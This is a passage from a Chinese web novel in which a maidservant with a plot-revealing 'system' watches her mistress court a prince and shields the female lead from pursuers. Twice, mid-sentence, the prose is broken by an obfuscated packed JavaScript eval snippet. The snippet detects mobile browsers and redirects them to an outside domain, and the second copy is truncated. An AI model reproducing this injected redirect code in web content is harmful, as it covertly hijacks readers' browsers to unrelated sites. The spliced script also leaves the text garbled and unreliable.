就在我与女孩子接触瞬间——【哇。主角团的治疗担当,妹妹系角色,她是不是让你觉得我见犹怜?是就对了。她和反派的人生完全是两条笔直的反方向平行线,主角团都很喜欢她,甚至有人就喜欢欺负她,看她眼泪汪汪跳起来还打不到人的样子,不过你不要小看她,她一路躺赢到结尾,三言两语催动女主为她报仇,女主还觉得是自己做得不够狠亏欠了她。你接近女主要紧,但最好离她远一点,主角团里没有弱者。】 我没搭理系统。 女孩子实在是很瘦,隔着几层衣服接触,能感触到她背后凸起的骨头。 在我拍她后背时,她下意识向后,想要靠住我, 「但她现在只是个小姑娘,怕得发抖。以后是以后,我走了她就摔倒了,这种行为会更加深她对人无法信任,别人来做可以,我现在没有这种爱好。」 我上前一步站在她背后,她靠了我一下,两肩轻微抖动,慢慢站直了。 “会清露。” 空灵,略有些哑的声音响起,吐字清晰。 ……她是在来之前哭过吗? 测试官牢牢盯着会清露,但,还是继续叫号:“下一个——” 一旁等候多时的男配擦肩而过冲上来,我这才仔细打量他。 很普通。如果把急切的目标换成我家小姐,他就和宴会上想要对小姐毛手毛脚的登徒子没区别,一副猴急样。 水晶金光大盛。 金色祥和贵气,冲散了我之前留下的阴霾。 再然后,就和系统说得一样,光芒越来越亮,水晶爆裂,全场哗然。 测试官睁开的眼刚才起没闭上过,哪怕水晶爆裂,她也老僧入定似的纹丝不动,“金属性,绝佳。程追原。” 感觉我们现在站的地方被人虎视眈眈盯着,要盯出洞来。 “哈哈!”男配大笑,“不鸣则已一鸣惊人!我一定要让姐妹兄弟瞧瞧背后议论我会怎样!” “……”我收回看向男配的视线。 至今为止,系统说的,中了。我相信这是一个超出我常识的东西,也许它真的来自世界之外的世界。 【你没杀死男配,没让他失去行动力,那么结局不会改写,原本明天该去下一座城的测试官因为要等着水晶送来,明天也停在这里,这才等来女主露面,嗯……明天女主路过这座城时,原作剧情,上辈子惨死的她在自己身上重生,得知了后来即将发生的事,原本要去下座城的她就不会去了。我说的上辈子是设定中的上辈子,不管女主重开多少次,一定有一个“理论上的上辈子”存在,可以说它是原作剧情,但对现在的世界来说原作相当于不存在,所以就只能说成是‘理论上的上辈子’。你听不懂也没关系,我说得肯定没有假,听我的准没错。】 「是啊,你想告诉我,世间事息息相关,一个举动会影响许许多多人,对主角有好处的事,会让无数籍籍无名者丧失机缘,巧合与必然堆砌,这才能创造出一个集合天下气运的主角。那么我想要改变娘和小姐的命运,绝对不是一件简单事。」 【所以你量力而行,我不拦着你,原本宿主做任务外的事,系统有义务阻止节外生枝,但你若是真的为了改变重要之人命运而努力上进,我何必拦着你,世界到最后总会教你知道这么做行不通,因为角色成为真实的那一刻起就已经是有血有肉有自我思想的人了……除非你比主角们努力千百倍,否则如何和世界,和和你能力相同甚至更出色的人抗衡。你改变不了她们,只能自求多福活下去。】 「系统。」 我眼中,那个男配从测试台前走开,小姐追了过去。就像看见肉包子的狗一样狂热。 说实话,见一个正常人突然发癫真的很可怕。 「没有人生来贱命一条。人总是要活着。那就该想方设法活下去,对自己负责。我要我以后靠自己活得很好。也要我爱的人幸福活着。这是非常普通的愿望,你不能说我做了错误决定,」 “见过十五殿下。” 小姐对着男配施施然行了礼。 虽然我不太想用这个词来形容她,她现在看起来娇滴滴,完全没有骑马射箭时的畅快。 “你是谁啊!”男配一脸莫名其妙,“你怎么知道我身份?突然上来认人很奇怪你不知道么?还有你别这么说话,吓人!” “我是玉城城主嫡女,玉燃兮。”小姐不为所动,还是娇滴滴语气,“我对殿下一见钟情……想留在殿下身边,还请殿下放心,我们都在婚嫁年龄,等回去我向城主提交申请成为您的婚约候选人,京城那边也会有消息快马加鞭递上,我身世不俗,候选申请一定会通过,这样就名正言顺,可以对您侍奉在侧,您去哪个门派我就去哪个门派,为了合理合法追求您……” 小姐说着再上前三步,要对男配行大礼。 我眼见男配猛搓手臂,好像还打了个哆嗦, “别过来!你再过来我要出手了!” 小姐迈出第四步,男配果真如他所言不客气出手,迎面一记直拳正对小姐面门,小姐学过武术,知道这时该后退…… 她怎么不退?! 「至于你说的,不管世界是不是一本书,对我来说不重要。我活在这里,飞不出天外去,你会轻易把你的世界透露给我,也是因为我离不开我的世界,知道这些就像听个故事无关紧要。我会拼尽全力完成你的任务,你要配合我,详细告诉我未来将会发生的每件事。我有自己的判断力,如果你给出结果我还不能推导过程,我又不是智力低下,这些事长脑子的人都会做,我不比任何人差。要是努力了还不会那就多问多学,我不信这世界上没有一个人擅长,谁擅长我就去问谁。」 我拽住小姐手臂,把她挪向侧方,抢前一步挡住男配打来的拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502583|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头, 拳脚相撞,发出一声闷响。 男配不可置信,怒吼:“你又是谁啊!” “我是小姐的女仆。” “你们女的真烦,一个出门不够还得带一群,甩开一个又来一个。我不想结婚!不想娶妻!不管你们看上我贵妃娘亲家世也好看上什么都好,我对你们不感兴趣!” 我们周围被这声大吼镇住,安静一瞬。 这也是社交场合死亡的一种吧。大声喧哗。 小姐对男配笑容可掬:“十五殿下,您的意愿我知道了。请容我更正,我不会做勉强您的事,只求能在您身边。或许您可以稍微考虑一下,您进入门派寻仙问道,由我在您身侧占据婚约候选人的位置,我会对您保持距离,这样那些您不想要的追求也会因为有我在不方便上前,我也很乐意为您拦下,让自己少几个竞争者,不知您……意下如何?” 男配气势稍减:“我……我还没说我要进哪家,你怎么知道我就一定会寻仙问道?” 小姐笑得弱柳扶风,好像一阵风吹来她也会跟着抖上几抖:“您排行十五,并非我故意贬低,实在是明眼人都能看出您夺位可能不大,贵妃虽然母家气盛,但和皇后亲如一家,贵妃本就是为扶持皇后入宫,两家联合朝中辅佐嫡子,嫡子比您年长十余岁,更适合作为太子人选,倘若当选成功,您以后一定是富贵王爷,但未必有实质权势,看您……似乎也对权势不大感兴趣,否则不会来寻仙台。退一万步来说,就算您日后不再寻仙问道回归京城,和玉家联姻也是不错选择,您既是王爷又是城主,而我……对您一见倾心。您目前没有心仪人选,何不考虑对您充满爱意的我呢?” 男配对这一长串话。愣了愣。最后几分气焰也熄灭下去, “谁娶了你,以后一定是妻管严……好吧,我答应了。先说好,我不喜欢你,如果你又一见钟情一个,大可以转移目标,我们只是各取所需,我不会和你有礼节之外的身体接触。” “好。”小姐婷婷袅袅行了礼,“玉城城主之女玉燃兮,拜见十五殿下,有幸得殿下认可成为婚约候选人,以后请多关照。现在我们来谈谈申请要怎么写才符合贵妃喜好更快通过,好吗?” “那个,那个……多谢你。” 身后忽然有气息靠近。 回头,会清露在我身后,颜色不起眼的衣裳反而衬得她脸蛋上淡红有些明显。 她像一只灵巧的燕子,飞入怀中抱住我,踮起脚尖,凑到我耳边悄声:“我加入希行门了,因为天赋难得一见,是掌门亲自教学,不便声张,悄悄告诉你。” 温暖,小小只。可爱。不过,她竟然没进慈悲堂,那个全部由治疗属性修士组成的门派? 慈悲堂人数不多但是重视学徒,在门派甚至修仙者中极具威望,出来的门生个个前途光明。以她的天赋,加上适合她功法,以后定能成为首屈一指的医修。 ……她可能有她的原因。总不可能是不知道有慈悲堂这么个门派存在。 “希行门是数一数二的大门派,在神界总部仙人门生无数,很好啊。”我说。 我有点想摸摸她后背,忍住了,任由她贴着我, “可是……我还不知道你名字……”她没有起来,仍旧靠住我,“我……我想认识你。” “我是褚灵佑。”我对她无奈笑笑,“是陪我家小姐来的,本身是个没天赋的普通人,去哪里随我家小姐做主。可能不会再遇见你了。我家小姐……现在倾心于旁边那位公子,会和那位公子选择同一门派求学。” 会清露起身离开,看看旁边的小姐和男配。 “我老师是神界总部掌门人的得意门生,是从神界下到人界的散仙,对天赋出众的人……志在必得。我家中不富裕,她许诺我月钱翻数倍,将来有幸飞升神界要带着我去认人,举荐我成为掌门助力。为了能招到好苗子,她一定会拼尽解数开条件争取,所以……” 所以财力丰厚的门派招到天资出众者是必然。不管修行什么功法,飞升神界就是仙,修行方式偏向阴毒的鬼修也一样,虽然鬼修成仙数量很少…… “我期待再见你。”我对会清露伸出手。 “嗯!”她握住我的手,掌心温热,五指用力握了握,“我也想再见你……” 【说一件事。】 系统冷不丁出声。 我和会清露告别,视线投向我家小姐,「说吧。」 那边,小姐和男配也谈妥候选人申请要怎么写更迎合贵妃喜好,更快通过了。 【杀了你家小姐的就是她。只接触一下解锁不了更多信息,但你家小姐是被白色能量杀死的,治疗属性在这个世界千年难得一见,同一时期应该再挑不出第二个来。】 小姐微笑着向我走来。昨夜的她……那个迷茫的她,不见了。 现在她脸上,眼中, 「……不管怎样多谢你提醒,我做不到因为她可能会杀小姐就先下手为强,为了救一条命夺走许多生命,对现在的我来说,我会认为还有更好的办法。现在我还很年轻,你得记得这点。如果我活了几千上万岁说不定下得去手,但现在我也只是个十六岁的女孩子,你让我拿刀杀鸡我不会犹豫,杀人有些难做到。」 取而代之的是容光焕发的坚定。 就好像,她的前方有一条她自己所决定的康庄大道,她要舍弃过去的她,走上这条崭新很好的路。 我…… 我要想想该怎样折断她的翅膀。 让她活下去。 只有活下去才有争取幸福的资格。 如果,我让她爱我呢? 那么,她就会对我知无不言,告诉我她的目的,她希望拥有的人生。 我要先把小姐从死亡手中夺回来,再从长计议娘的事。 爱有很多种,如家人般长久陪伴的爱不行的话,那就…… 目标,成为恋人。 4. 温柔女主登场 入夜。 小姐在灯下串一条腰饰玉佩,慢慢剪了线,一条一条编织纹样,再辅以珠玉,穿得极为认真,眼看终于要收尾。 刚开始我想要帮忙,但被拒绝。我心里清楚这是要送给谁,于是没强行帮忙,只陪小姐坐着,从傍晚天还有亮色时坐到入夜。 小姐边打结边说: “从会场回来我去见了爹爹,他知道我对十五殿下有意后,很是高兴,说让我跟着殿下进入哪个门派,他会准备好提交给贵妃的婚约候选人申请,然后就看我能不能自己争取成功了。灵佑,你会陪我去的吧!褚阿母也要来,我不想和你们分开。” 玉佩,做好了。 很漂亮,在烛火下闪烁光泽,一看就是用得好材料。 “小姐……”我还是问了,“您入学后,是以和十五殿下接触为主,还是……以学业为主?奴婢会根据您的决策全力以赴,帮您的忙,娘也会全力照顾您的生活起居,我们一切全以小姐的决策做事。” “当然是学业。殿下一定不会喜欢学习不努力的女子,不管在何时优秀的人总是更引人注目,而且。”小姐充满自信,把那条串好的玉佩举过灯下,“而且以我的家世地位,我必须优秀,不能丢了玉城的脸。” “恭贺小姐有这份毅力,祝小姐得偿所愿。”我心里松了口气,其实我真的很怕小姐下一句说出当然是以发展关系为主,平时的小姐肯定不会这样,但一想到她在男配面前时丢了魂的样子…… 我轻叹,希望小姐不要太喜欢那个男的,这样被我折断翅膀时才不会太鲜血淋漓。 “小姐,这块腰饰玉佩,想来也是送给十五殿下……嗯?” 小姐忽然握住了我的手,“是送给灵佑的。你看,我挑选的玉石都是轻巧贵重料子,是要给灵佑的,不需要厚重,会显得笨拙。” 我忽然鼻子一酸,抱住我家小姐手臂:“小姐,还以为你要送给外人,呜呜呜……小姐真好。喜欢小姐。” 那些说我家小姐跋扈的人,根本没见过灯下这么温柔的小姐,只会盯着打击登徒子的我们看,当真没有眼力。 小姐顺势摸我脑袋,把我按进她怀里。 “出门在外需要钱财,也不能穿着不合宜被人轻看。阿母那边我同样准备了许多,去陌生的地方少不了要打点,已经把金银换成灵石,绝对不会教你们跟着我受委屈。” 小姐……小姐香香的。也软软的。 “喜欢。”我情不自禁撒娇。 就算不以成为恋人为目标,我照样喜欢我家小姐。 “灵佑。”小姐忽然也叹口气。“灵佑是不是对别的女孩子也会这么说。” “是啊,我爱我娘,喜欢小姐。如果我对小姐使用爱这个词,是僭越。可以说我敬爱您,但这样听起来又太生份……所以喜欢最好啦。” “可是,你这样……会让人误会的。让人误会……你是真的,喜欢。” “我就是真的喜欢呀,我喜欢女孩子。像小姐这样让我撒娇,小姐也对我撒娇,这,这难道不是对女孩子的喜欢?”我不知道小姐究竟想对我表达什么,不禁焦急起来,“小姐想问什么,不管问什么,我都会如实告诉您。” “那,如果有可爱的小动物,你是不是也是说……喜欢?” “嗯。如果是毛绒绒,喜欢。”我期待地注视我家小姐,“这个世界上,没有人会不喜欢毛绒绒。” 小姐不说话了。 “但还是有不同的。人和动物。所以小姐在我心里独一无二!我会喜欢很多女孩子,小姐永远有自己的专属房间,就算……就算以后分开了,我也会永远记得小姐的样子……小姐是很好很好的女孩子。我一点……一点不想和小姐分开。” 我还是没忍住,很想要哭。“小姐是我的家人,和娘在一起,我的家就在这里了……” 泪水真的和哭声一起落在小姐肩头,我止不住泪水:“我真的。真的一点也不想要小姐嫁人,我们三人早晚有一天会分开,这种感情称之为喜欢是不够的。” 是的,我……我想永远能和娘,和小姐一起度过这样的时光。 但我知道人们最后都会彼此分离,大家都会有自己的人生,所以我希望她们能幸福快乐活下去,活着已经要面对许多不易,不要有谁死掉。只要想到她们在某处好好生活,哪怕天各一方也会感到安心。 小姐拍着我,笑:“灵佑比我还会撒娇,小时候阿母不得不一手一个抱住我们,因为你不愿意松开我,也不想松开她。好啦好啦,别哭。” 小姐忽然变得很软,有些哽咽的声音在我耳畔安慰:“灵佑,别哭。我也……也要哭了。” 我忽然觉得……这样的小姐,有种说不出的温柔。 心头暖暖的。 也有点……痒痒的? 想揉一揉她的脸,或者…… 或者什么?那个念头一闪而逝,我努力去想,努力去找。 找不见了…… “嗯!”我看着我家小姐。 “我要很努力很努力,学业有成!”见我止住哭声,小姐双手握拳为自己打气。 我破涕为笑。真是,太可爱。像小孩子一样给自己加油什么的。 “小姐一定会心想事成!明天我还要陪小姐去见十五殿下,心里祝祷你们。” 也要去看看女主是谁。定下接下来计划。 “好。”小姐眉眼柔和,“灵佑,我们这就休息。” 窗外月光落下,这天的月亮又圆又亮。 是个好兆头。 同样月夜。 就在玉城几十里外。 一处深涧水洞中,女子似乎在躲什么人,也似乎……在等什么人找上门。 说她是女子,不太准确,看容貌她还只是少女。 少女耐心地窝在水洞下方,看着水从面前落下,再落下。 终于,远处响起一丝风动。 少女钻出水洞,站在满月光芒下,光芒映照得被淋湿的她闪闪发亮,披了一层月光做衣衫。 深涧四周,岸上, 渐渐聚集起几个人,每个都拿着趁手武器,立在岸边杀气腾腾。 少女站在水中央,不惧不怕,声音扬起一点,让每个人都能听清: “今夜我就在这里,任你们杀剐,你们杀我一次,这桩恩怨就算了了,一言为定。” “行了!说什么冠冕堂皇大话!你害了我家娃儿,害了荷姐的小徒,更是与奸人联合害了你师徒满门!你再看看我们这些人中可有几张和你昔日同伴相似的脸呵!这些全是被你害死之人的亲族,我们辛辛苦苦养大的娃儿徒儿,就因遇上了你这毒女,竟被害得年纪轻轻丢了性命!纳你的命来!” 少女不欲多说,提剑迎上,一时暗器毒针四面八方向她丢过来,她尽量能挡得挡了,挡不住的伤害,就任由利刃刺破自己衣裳。 苦苦支撑着。 就在这时。 轰隆隆!!!! 天际降下几道金闪闪雷光,毫无预兆,少女却像准备好了似的整个人闷入水中。 待遮天蔽目金光闪过,少女从水中冒头出来,再往岸边一看,岸上除了被天雷劈得寸草不生的焦土,哪里…… 还有半点人影呢? 她既不觉得惋惜也不觉侥幸,重新坐回水洞中,身侧纯正深蓝和蓝白光芒闪耀,能量元素围绕她打转,为她清理修复伤口。 身体上的疼痛渐渐消散。不是能够完全治愈,是她早已习惯了这些伤势疼痛,一天又一天,看不见头…… 差不多了。 少女走出水洞,站在溪流间,对着满天月光张开双臂,努力伸展着肢体, 又一次,天际白光锃亮。 少女吃惊,她仰头去看,分辨不出白光来自哪,她看啊看,忽然! 白光滋溜一下钻进她脑海。 “……” “……原来,是这么回事。” 再睁开眼时,少女已是一副全然不同姿态口吻,属于少年人的怯生生消失殆尽,又掩去不属于这年纪的成熟, 剩下的, 仅仅是一副少女躯壳,还有挂在脸上,不曾压低半分的柔和微笑。 多一分显谄媚,少一分显冷酷。 不多不少刚刚好,是温柔。 “我是云间月。”她说,像是为了确认一般, 缓缓对自己说明着, “我是,十六岁的,云间月。” 月下这幕无人知晓。 除了常年摆烂的某个系统,在熟睡宿主脑海中,留下一抹属于自己的思绪。 【这并不是……重生。这个世界线……此前从未开启过。主脑为什么骗我说它开启过一次?难道就是因为……系统来了不完成能量指标无法回去,还是说……这个世界有我的同行。】 编号三位数的摆烂统到底比四位数的某统经验丰富,可惜……事到如今它只是个摆烂统,比起外出工作更想要做客服处理纠纷。 就算被踢去出任务……也只想和宿主一起混个保底业绩。 就只是这样。 “听爹爹说昨天夜里城外被天雷劈了。” 一大早,出门前。小姐告诉我这个消息。 天雷……就是不长眼的雷击。威力强悍,劈到哪里,哪里寸草不生。要是劈到了人连灰都不曾剩下……听说神界的神仙也有很多扛不住连续雷击。 “爹爹很在意这件事,正叫人查呢。”小姐神秘兮兮凑到我身旁,“因为要去寻仙问道,爹爹告诉我一件事。” “秘闻?”我疑惑。从小学习如何管理城池的小姐什么城中事不知,那只能是……她从前不该知道的秘闻。 “差不多。大概在三万年前,五界联合出过预言神君,创造神君事件,人界参与了许多,神君本该由世界选出,所以五界之内凭空降下好多天雷,被劈到的地方呈黑色,无法清理,长不出东西。后来那一任神君造访四界,用自己的力量恢复土地。这件事在王室私人档案上有记载,一直流传,爹爹还给我看了神君画像,是白衣飘然心系苍生的女仙,飞升成仙就是那样的吧。” 小姐眼中有向往。 她……她是真的想去寻仙问道,而不是……为了自己的婚约? 那我岂不是事半功倍? “小姐,您是否打算一心向道,以后……以后回馈庇佑家族?” 想成仙至少需要修行得一万年寿命,才有去神界的可能,听说还要经过界灵审查,只有未沾染姻缘的洁净之人才可通过。 “灵佑。”小姐语重心长对我说:“爹爹是城主,他必然深谋远虑,他的选择不会只有我招婿的未来,也许这是他最期望的一件事,但如果有变数,我想……他会晓得自己变通。” “所以……城主大人可能会另寻继承人。” 我顿时灵光一闪。 如果真是这样,小姐努力修行,也许真的能走上另一条路,只要她不关注什么十五殿下,我会全力让她避开死局, “小姐天资出众,又有如此觉悟,必然能达成自己想要的结果。” “可是如果我成仙……我们就不能在一起了。”小姐眼中有难过,那是很复杂的情绪……是吗? 是啊。仙人有数不尽的寿数。人族只有百年。娘和我都会离她而去,我无法修行,如果娘真如系统所言是大反派,必定也是,是………不适合修行之人? 「如果我娘只是个普通人,她以后怎么做大反派?」这不合理。系统怎么可能不知道,是它没提过! 我一叫,系统就出来了。 看来它真的不需要休息。 【剧情暂未开启,还不清楚。但这千真万确。主角和反派都是两团行走的能量,你娘在我眼里是一大团五彩斑斓的黑光,女主是一大团金光。再不会有人比她们更耀眼,除此之外所有角色都是类似的光,看浓度和颜色分辨正反派,不正不反的配角是白光,等你与之接触,我扫描上去会出现身份信息,以后就会留档记录,在一定范围内可以感知。】 怪不得系统昨天吱哇乱叫,一落地,回头看见身后一大团铺天盖地的黑……那是挺吓人。 「你一直说女主,难不成这故事里也有个男主?」 系统四平八稳:【本作是女主文,没有男主。因为检测情感波动功能关闭,暂且不知道女主到底有没有对谁心动。不过……一篇合格的女主文,女主最爱的肯定是自己才行,男配都是工具人用来祭天的。而大部分温柔清冷人设,什么都能博爱宽容,也意味着什么都不喜欢,为了迎合观众喜好再黑化一点,说不定是因为觉得自己高高在上怜悯世间众生,所以才展露出博爱,也就是所谓的,神。把温柔清冷的女主拉下神坛,让她破功破防,也是某些人看点。能当主角和幕后反派的人都城府极深,不然怎么斗智斗勇,怎么有看点呢。】 「……」 哦,那这么想的人可真是厉害,我这个小反派望尘莫及。 “没关系,”我安慰小姐,“那就死后去做鬼修,用鬼的方法和小姐一同努力。” 对啊,我可以做鬼修。活着不能修行,死了不就能了。人有七情六欲,听说鬼没有,所以鬼的功法偏向阴毒,它们不会被干扰,没有身体也没了禁锢,修行起来未必就比人慢。 【……】 系统好像想说什么,但它没说。 它让我觉得它很像人。也只是很像。它有它的目的,我有我的目的。从它不介意选择反派作为宿主能看出,引导反派向善绝非它的目的,它也根本不在乎是非善恶。 互利互惠,我与它同路。如果它有事瞒我,估计也是什么我知道了不会有帮助的事。 急着出门。有空再问吧。 我们像昨天一样来到会场。 会场的人比昨天……还要多。嗯。 因为要多停留一天,原本下座城的人也跑过来了,人群和昨天一样大排长龙,再加上昨天检测完,没来得及确认师门的,整个会场到处是聚成一小堆谈话的人。 小姐在一众人堆里不紧不慢地找,终于找到人群中的男配。 男配对面是两个女修,一人带斗笠,帽檐压得低看不清脸,一人是紫衣少女,身后背着剑。 今天我们特意去得晚,就是为了避开看男配挑选哪家门派,小姐说这样可以省去麻烦,不然肯定也要被问来问去。 男配现在是选得差不多,正在谈条件。 小姐又等了等,两方不再说话,她才上前。 先问候行礼,男配鼻孔朝天,不怎么回应,就说句,“我决定选希行门了。” 小姐不在意,对两位门派修士也行了礼。 “我是希行门人界分之掌门,希汀吟,这是分之长老,希梦淮。” 斗笠女修声音很好听,听起来年纪不大,二十几岁。 ……希行门。和永灵宗,真理教并称为仙门三大家。就是说,这三家拥有最多飞升神界的门生。其中真理教出身大多是道人,男配好歹是皇室成员,肯定受不了日日寡淡。可能是希行门的人比永灵宗先来,男配看上了希行门。 接下来是小姐和两人谈条件,过程有点长,请让我简化一下。 斗笠女修希汀吟是希行门神界总之掌门人的亲传门生,被冠以‘希’作姓氏,本是飞升神界的女仙,为招人下界做了散仙,在人界挑选好苗子培养,争取多教出几个飞升神界为门派增添助力。 旁边的希梦淮是她的首席学徒,寿数九千有余,同时兼职长老,和留在门派中的长老们一起为学徒授课。这两人同姓,很可能是……亲族关系? 我在这里等系统提示。 【哦!】系统在感知到女主出现时,还是很尽职帮我调动积极性,连语气都夸张起来,【宿主往东南方向回头看!那是我们的女主进场了!】 我回头。 人群中,少女身负重剑,那把剑勒紧了衣服,能看出她两肩绷得笔直,显得她清瘦。 她身穿一身荼白色衣裳,既不亮得显眼,也不会太黯淡。整个人从内到外散发柔和光晕。 她很好看。 但人实在很多。 芸芸众生没有谁会离得这么远注视她。她没到检测队伍中去,和许许多多人一样穿行场中,身边人群笑闹,交谈。 她只是,静静走过。 这个时间……就算女主来了,今天排队的人特别多,她肯定排不上,做不了检测就没办法给自己挑选门派。但她最终还是会进入某个门派求学。 又是阴差阳错的主角气运啊…… 【她原本出生小城富贾之家,三岁没娘爹再娶,她爹接亲回来路上和她叔一起遭遇匪徒,整支队伍一个不剩,家产被亲戚瓜分一空,遗孀叔母收养她,每年带她去神庙祈福,结果五岁那年遇见流寇袭击偏僻神庙,叔母把她藏起来,庙里活人除她之外再次一个不剩,这次族中再无人收养,她跟来庙里给妹妹住持认尸的女修士走了,从此开始修行,虽然这条路也不太顺利啦,但女主心气在那,硬生生把自己体内能量清理成两种元素,修行十年也算小有成果,十年后她开始承担自己小门派的委托,给周围处理作祟案件之类的,结果不知惹上了什么东西,追着她杀她同门和师长,本来门派也不大,被血洗个干净,她现在孑然一身……呃,你怎么……你怎么开始怕了?】 「我……我觉得主角团真不简单。谢谢你不用让我忍受和她一样的痛。」 是的,主角团很厉害。方方面面都是。 系统很是动容,对我多说了几句:【女主……我想想。她这命格……有个词可以形容,天煞孤星。】 【就是,不管做好事做坏事,最后必定众叛亲离,谁在她身边都不长久,有的是发现自己小命不保主动跑了,有的是没跑成被克死了。最后只有女主一个人美强惨,其实就是因为她自身强大,所以还活着罢了,什么美强惨,全是好听说辞,不就是一个命硬的倒霉蛋,这些全是作者为了淡化女主伤痛的好听说辞,实际上就是要一个女孩子来受这个苦,咳……所以她现在应该是之前的同伴又被她连累死,同伴的亲朋好友以为她是凶手追杀她,嗯……她招惹上的那个东西应该也在,还不知道哪方先来。】 系统说到最后好像有点不忍心,语气变得飘忽,似有叹息。 所以我不行。 我没有和女主做亲近之人的本钱。我有娘和小姐,不能让她们被牵连不得善终。 「你知道的好少。」我说。 【你和女主她多肢体接触,我努力破解她脑中信息。】 「那我和登徒子真是没区别。」 【宿主!帮助主角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「她被人追杀,遮脸不是不打自招?就算不戴,这里会场少说上千人,找她的人得一个一个看,还不能大张旗鼓追着她打杀,毕竟这里有很多门派来的宗师长老,如果有人帮忙配合,等追兵查到她时给她掩住脸,这件事就过去了。」 【宿主加油。】 系统平淡附和一句。 女主,忽然脚步加快,动起来了。 她发现追杀她的人已经到了会场? 明明我和系统对话很久,小姐那边却没有结束谈话的意思, 时间……没有流动吗? 我对我娘比划手势,意思是要去方便一下,这些话不是每种场合都适合说出口,打手势就好。 娘看我,微微点一下头。 我离开原地,向女主前进方向走。 这样我们迟早会撞上,撞一个腿上有伤的人……比撞一个活蹦乱跳的人容易,她腿上有伤,收不住脚。 近了。 我偷偷注视斜后方的女主。她走得很快,我与她同向,没有要回头的意思。只要我不停,她就跟在我身后几步。 我忽然回头转身。 几乎是瞬间,她撞上了我。 撞我之后她脚步踉跄,身后重剑坠得她侧身倾斜,背带竟然从肩膀滑落,剑往我脚上砸。 我抬脚跳起,再落下时,把她的剑踩在脚下。 哦。我不是故意的。 我只是个普通人,没有那种腾空跃起的本事,只能从哪里蹦起就在哪里落下。 被这么沉的剑砸中脚,肯定是工伤。我不想挨砸。 我瞪她。她也看我。 我得承认我的表情很凶恶,加上我穿得很好,她肯定以为我是哪个娇纵世家小姐,要对她发难。 事实正如此。 我脚下踩住她剑,一手挑起她下巴。 黑白分明的眼睛看我。 “你是谁?”女主被我捏着脸,从她眼中看不出生气,冷淡声音发问: “我并未得罪过你,如何这样待我?” 我脑袋里面想了一下试图非礼小姐的油腻登徒子,轻佻痞气开口: “你、……是我的女主。” 话是不假,简直是油腻腻深情。绝对会让女主印象深刻。就是…… 这招自损八百。对我的精神和胃也很不好。 下次真的还得用吗? 算了。 被一个女孩子这么看,倒也不会让人很难挨。 女主身后,有零散人影穿行人群,身上带着武器。 我双腿迈开大步,用衣裙盖住地上的剑,伸出另一只手覆盖女主半张脸,强迫她也深情凝视我,宽边衣袖遮住我俩之间的光,现在没有人能看见女主的脸。 “记住了,我的名字是褚灵佑。” 我鼻尖抵着她眼角,亲昵,从眼挪到耳畔:“……我们以后必然再遇见,直至你登上云端……我的女主。” 被我困住的少女不知道,几人从我身边擦肩掠过,带着肃杀冷意,若有似无的血腥气,只看你一眼,就会让你后背凉到小腿。 不属同一世界的求生意识。在脑中嗡鸣着提醒我,别顶撞……快跑! “她——” 听见声音,女主脖颈紧绷就要转头,我用力牵制住不让她动, 同时与其中一人对视,那是一个凤眼锐利如刀的女修,一身水蓝衣裳……简直波涛汹涌。 她看着我皱眉,似乎很不赞同白日宣淫,在找措辞询问。 我说过了,我是个凡人,就算不检点,与我厮混的也只会是个同样普通的人,卑微如我, 我对女修油腻搭讪: “她是我新找到的漂亮妹妹,女仙姐姐,您也好美,请问您可有意于——” 怎会认识不是一个世界的女主? 那个“我”字还没说出口,一柄飞刀擦着脸颊掠过,切断我一侧盘好的发髻。 我看得清楚,头发在脱离后空中自燃。半点不剩, 现在。 我一半头发散乱飞扬,下半截发丝不翼而飞。 大概很可笑吧。 “请问您可有意于我呢?”我回应她的怒目而视,把后半句话重新说完。 她真的很生气,气得胸膛起伏,挥袖抽出刀来砍我,银光迎头劈下——被身后跟着的人拉住: “荷姐!这小丫头一看就是大户人家的娃!动了她我们要吃官司,您三思!” 是啊,人看衣裳。 我早说过。 在人界地盘,即便对修行之人来说杀人不过头点地,杀完人被通缉也不是谁都能受。 修士再厉害,身在人族领土,也有刑法纲常压在身上。 为难我的女修,看起来快气炸了,估计是从未被人这么调戏过。 她也确实很漂亮,美人生气照样闪闪发光,眼睛里凶光一颤一颤,我对她又笑了笑。 我听见她咬牙声:“你们这些纨绔——” 她压低声音,一句怒极反笑的话忽在耳边响起:“我记住你了,半夜给我洗干净脖子等着。” “好呀。”我用笑脸对她怒容。 女修越过我们走了,看方向是往场外去,不准备再搜查。 这才哪跟哪,真当我跟着小姐打过的咸猪手不够多么? 人影走远,我松开牵制住女主的手,盯着她看。 “你看什么?”她问。 也怪,她看我这副样子居然不笑。 “看你好看罢了。我喜欢女孩子。自求多福吧,女主。” 我目光不由自主开始寻找我家小姐,等会我这个样子,吓到她可怎么办…… “云间月。”少女冷冰冰对我说,“不是什么女主。” “知道了,女主。” 我与我家小姐对视,她惊得后退一步,她身边几人顺着目光看过来,我娘面无表情,两个女修都没看我,而是看向我身边的女主, 云间月。 “好名字。” 我让出脚下的剑,不再看她,背身对她招招手,向我家小姐走去,“不过你还是我人生的女主,好好活着,可不要死了。” 【任务完成(奖励已发放)】 「现在呢,系统。说个话。」 我在深情凝视中走向我家小姐。 沉寂许久的脑海中有了动静, 【你很厉害的,宿主。】 「是吗?」 【听过女主那么凄惨经历还能铁面无情对待她。恭喜你,成功通过没有引导的新手教学。我是一个摆烂偷懒统,如果宿主心智不够坚定,我就会关闭大部分功能,只为此类宿主保留基础功能,这样没有上进心的宿主日子好过,我也乐得轻松,免得最后分别宿主追着我打差评。本身就只挣保底业绩,还一身差评,做统太难啦。】 这番话说得颇有人情味。 系统……这个鬼东西。 它不是人,没有人的情感。却有一套自己的思维。说是摆烂,还不如说是工作久了老油条一个。它可不是摆烂,而是学会了收敛野心。 